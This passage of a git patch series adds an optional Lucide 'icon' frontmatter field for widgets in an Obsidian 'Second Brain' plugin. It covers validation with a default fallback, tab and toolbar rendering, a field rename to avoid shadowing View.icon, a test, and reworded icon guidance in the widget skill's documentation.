rather than leaving a blank tab. The skill suggests fitting icons (chart-column, calendar, list-todo, gauge…). Co-Authored-By: Claude <noreply@anthropic.com> --- src/agent/integrations/pluginIntegrations.ts | 2 +- src/skills/defaults/widgets/SKILL.md | 4 +++- src/styles.css | 6 ++++++ src/views/widget/WidgetView.ts | 15 +++++++++++---- src/widget/registerWidgetBlocks.ts | 2 ++ src/widget/widgetIcon.ts | 14 ++++++++++++++ src/widget/widgetSpec.ts | 4 ++++ test/__mocks__/obsidian.ts | 2 ++ test/widget/widgetSpec.test.ts | 1 + 9 files changed, 44 insertions(+), 6 deletions(-) create mode 100644 src/widget/widgetIcon.ts diff --git a/src/agent/integrations/pluginIntegrations.ts b/src/agent/integrations/pluginIntegrations.ts index a2596915..f4a57ccb 100644 --- a/src/agent/integrations/pluginIntegrations.ts +++ b/src/agent/integrations/pluginIntegrations.ts @@ -199,7 +199,7 @@ const BUNDLED_CORE_SKILL_ICONS: Record<string, string> = { "manage-notes": "file-pen", web: "globe", "manage-skills": "wand-2", - widgets: "component", + widgets: "component", // = DEFAULT_WIDGET_ICON in widget/widgetIcon.ts }; /** diff --git a/src/skills/defaults/widgets/SKILL.md b/src/skills/defaults/widgets/SKILL.md index c10ed236..c8107974 100644 --- a/src/skills/defaults/widgets/SKILL.md +++ b/src/skills/defaults/widgets/SKILL.md @@ -61,7 +61,9 @@ queries: Frontmatter keys (all optional): `title` (toolbar label and file name when saved), `description` (one line on what the widget shows — with the title, the only text of a saved -widget that search sees, so always give one), +widget that search sees, so always give one), `icon` (a Lucide icon name that fits the +widget — `chart-column`, `chart-line`, `calendar`, `list-todo`, `gauge`, `table`, `clock`, +`map` … — shown on its tab and in the chat; unknown names fall back to the default), `height` (frame height in px; omit to size to content — with it, the layout gets that height and the frame still shrinks if the drawn content is shorter), `queries` (name → Dataview DQL string; use `|` for a multi-line query), `libs` (bundled libraries to load, see diff --git a/src/styles.css b/src/styles.css index 1862c14b..4f547ae0 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1753,6 +1753,12 @@ body.is-mobile .tool-output-content pre .clickable-icon { gap: var(--size-4-1); margin-bottom: var(--size-4-1); } +.s2b-widget-toolbar-icon { + display: flex; + align-items: center; + color: var(--text-muted); + --icon-size: var(--icon-s); +} .s2b-widget-toolbar-title { flex: 1; min-width: 0; diff --git a/src/views/widget/WidgetView.ts b/src/views/widget/WidgetView.ts index bb7b9475..e81a26df 100644 --- a/src/views/widget/WidgetView.ts +++ b/src/views/widget/WidgetView.ts @@ -1,5 +1,6 @@ import { FileView, Notice, setIcon, type TFile, type WorkspaceLeaf } from "obsidian"; import type SecondBrainPlugin from "../../main"; +import { DEFAULT_WIDGET_ICON, resolveWidgetIcon } from "../../widget/widgetIcon"; import { WidgetRenderChild } from "../../widget/WidgetRenderChild"; import { parseWidgetSpec } from "../../widget/widgetSpec"; @@ -22,6 +23,7 @@ export class WidgetView extends FileView { private body: HTMLElement | null = null; private child: WidgetRenderChild | null = null; private source: HTMLElement | null = null; + private icon = DEFAULT_WIDGET_ICON; /** mtime of the file when the source editor loaded it; a save refuses if the file moved on. */ private sourceMtime = 0; private sourceStaleHint: HTMLElement | null = null; @@ -39,7 +41,7 @@ export class WidgetView extends FileView { } getIcon(): string { - return "component"; + return this.icon; } canAcceptExtension(extension: string): boolean { @@ -99,9 +101,14 @@ export class WidgetView extends FileView { if (this.file !== file || !this.body) return; this.dropChild(); this.body.empty(); - this.child = new WidgetRenderChild(this.body, this.plugin.app, parseWidgetSpec(text), file.path, { - fill: true, - }); + const spec = parseWidgetSpec(text); + const icon = resolveWidgetIcon(spec.icon); + if (icon !== this.icon) { + this.icon = icon; + // The tab header read getIcon() before the file was parsed; internal leaf API. + (this.leaf as unknown as { updateHeader?: () => void }).updateHeader?.(); + } + this.child = new WidgetRenderChild(this.body, this.plugin.app, spec, file.path, { fill: true }); this.addChild(this.child); } diff --git a/src/widget/registerWidgetBlocks.ts b/src/widget/registerWidgetBlocks.ts index a996fae3..61d38ff5 100644 --- a/src/widget/registerWidgetBlocks.ts +++ b/src/widget/registerWidgetBlocks.ts @@ -3,6 +3,7 @@ import type SecondBrainPlugin from "../main"; import { getData } from "../stores/dataStore.svelte"; import { VIEW_TYPE_CHAT } from "../views/chat/Chat"; import { WIDGET_FILE_EXTENSION } from "../views/widget/WidgetView"; +import { resolveWidgetIcon } from "./widgetIcon"; import { WidgetRenderChild } from "./WidgetRenderChild"; import { resolveWidgetLibs, WIDGET_LIBS } from "./widgetLibs"; import { @@ -80,6 +81,7 @@ function renderChatToolbar( sourcePath: string, ): void { const bar = el.createDiv({ cls: "s2b-widget-toolbar" }); + setIcon(bar.createSpan({ cls: "s2b-widget-toolbar-icon" }), resolveWidgetIcon(spec.icon)); bar.createSpan({ cls: "s2b-widget-toolbar-title", text: spec.title ?? "Widget" }); // Saving twice from the same block would create a second file: share one in-flight // save, and forget it only if it failed. diff --git a/src/widget/widgetIcon.ts b/src/widget/widgetIcon.ts new file mode 100644 index 00000000..e08714a8 --- /dev/null +++ b/src/widget/widgetIcon.ts @@ -0,0 +1,14 @@ +import { getIcon } from "obsidian"; + +/** Tab and toolbar icon for a widget that does not choose its own. */ +export const DEFAULT_WIDGET_ICON = "component"; + +/** + * The icon a widget shows: its frontmatter `icon` when that is a Lucide name Obsidian + * knows, the default otherwise. Validated here so a typo in a widget never leaves a + * blank tab. + */ +export function resolveWidgetIcon(name: string | undefined): string { + const candidate = name?.trim(); + return candidate && getIcon(candidate) ? candidate : DEFAULT_WIDGET_ICON; +} diff --git a/src/widget/widgetSpec.ts b/src/widget/widgetSpec.ts index d2d58d10..e5c68bb2 100644 --- a/src/widget/widgetSpec.ts +++ b/src/widget/widgetSpec.ts @@ -31,6 +31,8 @@ export interface WidgetSpec { title?: string; /** One line on what the widget shows. With the title, the only text of a `.widget` file that is indexed. */ description?: string; + /** Lucide icon name for the tab and toolbar; see `widgetIcon.ts` for the default and validation. */ + icon?: string; /** Fixed frame height in px. When absent the frame follows its content height. */ height?: number; /** Named Dataview queries, run by the host and kept live. */ @@ -100,6 +102,8 @@ function parseFrontmatter(lines: string[]): WidgetSpec { spec.title = value; } else if (key === "description" && value) { spec.description = value; + } else if (key === "icon" && value) { + spec.icon = value; } else if (key === "height") { const height = Number.parseInt(value, 10); if (Number.isFinite(height) && height > 0) spec.height = height; diff --git a/test/__mocks__/obsidian.ts b/test/__mocks__/obsidian.ts index ef3aa8c5..a0e91ae4 100644 --- a/test/__mocks__/obsidian.ts +++ b/test/__mocks__/obsidian.ts @@ -299,3 +299,5 @@ export type DataAdapter = Vault["adapter"]; export function getLanguage(): string { return "en"; } + +export const getIcon = vi.fn((_id: string): SVGSVGElement | null => null); diff --git a/test/widget/widgetSpec.test.ts b/test/widget/widgetSpec.test.ts index ba270629..29c05c43 100644 --- a/test/widget/widgetSpec.test.ts +++ b/test/widget/widgetSpec.test.ts @@ -86,6 +86,7 @@ describe("widgetIndexText", () => { it("is empty for a widget without title or description", () => { expect(widgetIndexText("<p>body only</p>")).toBe(""); expect(parseWidgetSpec("---\ndescription: Only this\n---\nx").description).toBe("Only this"); + expect(parseWidgetSpec("---\nicon: chart-column\n---\nx").icon).toBe("chart-column"); }); }); From 9a8f62dd66be8bba96957dbcf108122d201e0cbb Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:56:42 +0200 Subject: [PATCH 20/21] fix(widgets): the tab icon field must not shadow View.icon Co-Authored-By: Claude <noreply@anthropic.com> --- src/views/widget/WidgetView.ts | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/views/widget/WidgetView.ts b/src/views/widget/WidgetView.ts index e81a26df..d4b63b44 100644 --- a/src/views/widget/WidgetView.ts +++ b/src/views/widget/WidgetView.ts @@ -23,7 +23,7 @@ export class WidgetView extends FileView { private body: HTMLElement | null = null; private child: WidgetRenderChild | null = null; private source: HTMLElement | null = null; - private icon = DEFAULT_WIDGET_ICON; + private tabIcon = DEFAULT_WIDGET_ICON; /** mtime of the file when the source editor loaded it; a save refuses if the file moved on. */ private sourceMtime = 0; private sourceStaleHint: HTMLElement | null = null; @@ -41,7 +41,7 @@ export class WidgetView extends FileView { } getIcon(): string { - return this.icon; + return this.tabIcon; } canAcceptExtension(extension: string): boolean { @@ -103,8 +103,8 @@ export class WidgetView extends FileView { this.body.empty(); const spec = parseWidgetSpec(text); const icon = resolveWidgetIcon(spec.icon); - if (icon !== this.icon) { - this.icon = icon; + if (icon !== this.tabIcon) { + this.tabIcon = icon; // The tab header read getIcon() before the file was parsed; internal leaf API. (this.leaf as unknown as { updateHeader?: () => void }).updateHeader?.(); } From 2e7929d88958f14948d4aac5086979177400966e Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 22:02:12 +0200 Subject: [PATCH 21/21] docs(widgets): icon guidance names the subject, not a list The skill's icon examples read as an allow-list, and a home dashboard came out with a gauge. It now says any Lucide name works and that the icon should match the widget's subject, with examples framed that way. Co-Authored-By: Claude <noreply@anthropic.com> --- src/skills/defaults/widgets/SKILL.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/skills/defaults/widgets/SKILL.md b/src/skills/defaults/widgets/SKILL.md index c8107974..f96bb57c 100644 --- a/src/skills/defaults/widgets/SKILL.md +++ b/src/skills/defaults/widgets/SKILL.md @@ -61,9 +61,12 @@ queries: Frontmatter keys (all optional): `title` (toolbar label and file name when saved), `description` (one line on what the widget shows — with the title, the only text of a saved -widget that search sees, so always give one), `icon` (a Lucide icon name that fits the -widget — `chart-column`, `chart-line`, `calendar`, `list-todo`, `gauge`, `table`, `clock`, -`map` … — shown on its tab and in the chat; unknown names fall back to the default), +widget that search sees, so always give one), `icon` (shown on its tab and in the chat: +**any** name from the Lucide icon set, so choose the one that matches the widget's +*subject*, not its shape — a home dashboard gets `home`, a reading tracker `book-open`, +a study planner `graduation-cap`, a task board `list-todo`, a habit tracker `calendar-check`; +only fall back to generic chart icons like `chart-column` when nothing more specific fits; +an unknown name falls back to the default), `height` (frame height in px; omit to size to content — with it, the layout gets that height and the frame still shrinks if the drawn content is shorter), `queries` (name → Dataview DQL string; use `|` for a multi-line query), `libs` (bundled libraries to load, see